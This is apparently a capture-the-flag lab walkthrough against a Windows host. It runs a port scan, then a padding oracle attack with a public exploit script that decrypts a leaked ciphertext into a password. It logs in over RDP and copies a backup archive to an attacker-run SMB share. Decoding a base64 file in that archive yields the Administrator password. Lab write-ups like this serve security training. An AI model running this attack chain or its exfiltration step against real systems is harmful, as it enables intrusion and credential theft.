

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.119 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.119:21
Open 192.168.172.119:80
Open 192.168.172.119:135
Open 192.168.172.119:139
Open 192.168.172.119:445
Open 192.168.172.119:2290
Open 192.168.172.119:3389
Open 192.168.172.119:5985

PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack  Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http         syn-ack  Microsoft IIS httpd 10.0
135/tcp   open  msrpc        syn-ack  Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
2290/tcp  open  http         syn-ack  Microsoft IIS httpd 10.0
|_ http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_ http-title: Site doesn't have a title (text/html; charset=utf-8).
3389/tcp  open  ms-wbt-server syn-ack  Microsoft Terminal Services
5985/tcp  open  http         syn-ack  Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
``` Check `http://192.168.172.119:2290` - you can see the site

```

ERROR: missing parameter "c"

Go to `http://192.168.172.119:2290/?c=` to see the output

0

<span id="MyLabel">0</span>

<!--

AES-256-CBC-PKCS7 ciphertext: 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488

Victor's TODO: Need to add authentication eventually..

-->

''' Search for AES-256-CBC-PKCS7 ciphertext on Google to find [Padding Oracle Attack \(https://github.com/mpgn/Padding-oracle-attack\)](https://github.com/mpgn/Padding-oracle-attack) and use it

```
(kali㉿kali)-[~/pgplay/Padding-oracle-attack]
└─$ python3 exploit.py -c 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488 -l 16 --host 192.168.172.119:2290 -u /?c= -v --error '0'

...
[+] Found 15 bytes : 6f726d416c6f655661743704040404

[+] Test [Byte 087/256 - Block 1]: 0427D08A2019CA6648435B216EA2DCBD
[+] HTTP 200 OK
[+] Block M_Byte : 576f726d416c6f655661743704040404
[+] Block C_{i-1}: 4358B2F77165B5130E323F067AB6C8A9
[+] Block Padding: 10101010101010101010101010101010

[+] Found 16 bytes : 576f726d416c6f655661743704040404

[+] Decrypted value (HEX): 576F726D416C6F655661743704040404
[+] Decrypted value (ASCII): WormAloeVat7
``` You obtain a password `WormAloeVat7`; try RDP with it, and on the Desktop get local.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ xfreerdp /u:victor /p:WormAloeVat7 /cert-ignore /size:smart-size /v:192.168.172.119

C:\Users\victor\Desktop>type local.txt
79d8c8413d3039195a95a2b45b69b5bd
``` In C:\Users\victor\Downloads you can find backup.rar
```

```
(kali㉿kali)-[~/pgplay]
└─$ impacket-smbserver -smb2support -user user -password user share .

PS C:\Users\victor\Desktop> net use \\192.168.45.245 user /u:user
The command completed successfully.

PS C:\Users\victor\Downloads> copy backup.rar //192.168.45.245/share/backup.rar
``` Use `victor`'s password to extract it
```

```
(kali㉿kali)-[~/pgplay]
└─$ unrar e backup.rar

UNRAR 7.01 beta 1 freeware Copyright (c) 1993-2024 Alexander Roshal

Enter password (will not be echoed) for backup.rar: WormAloeVat7

Extracting from backup.rar

Extracting backup.txt OK
All OK
```

```
(kali㉿kali)-[~/pgplay]
└─$ base64 -d backup.txt
Administrator:EverywayLabelWrap375
``` Log in as Administrator; on C:\Users\Administrator\Desktop get proof.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ xfreerdp /u:administrator /p:EverywayLabelWrap375 /cert-ignore /size:smart-size /v:192.168.172.119

C:\Users\Administrator\Desktop>type proof.txt
92b7e77313f70054c89ab98cae43e283
```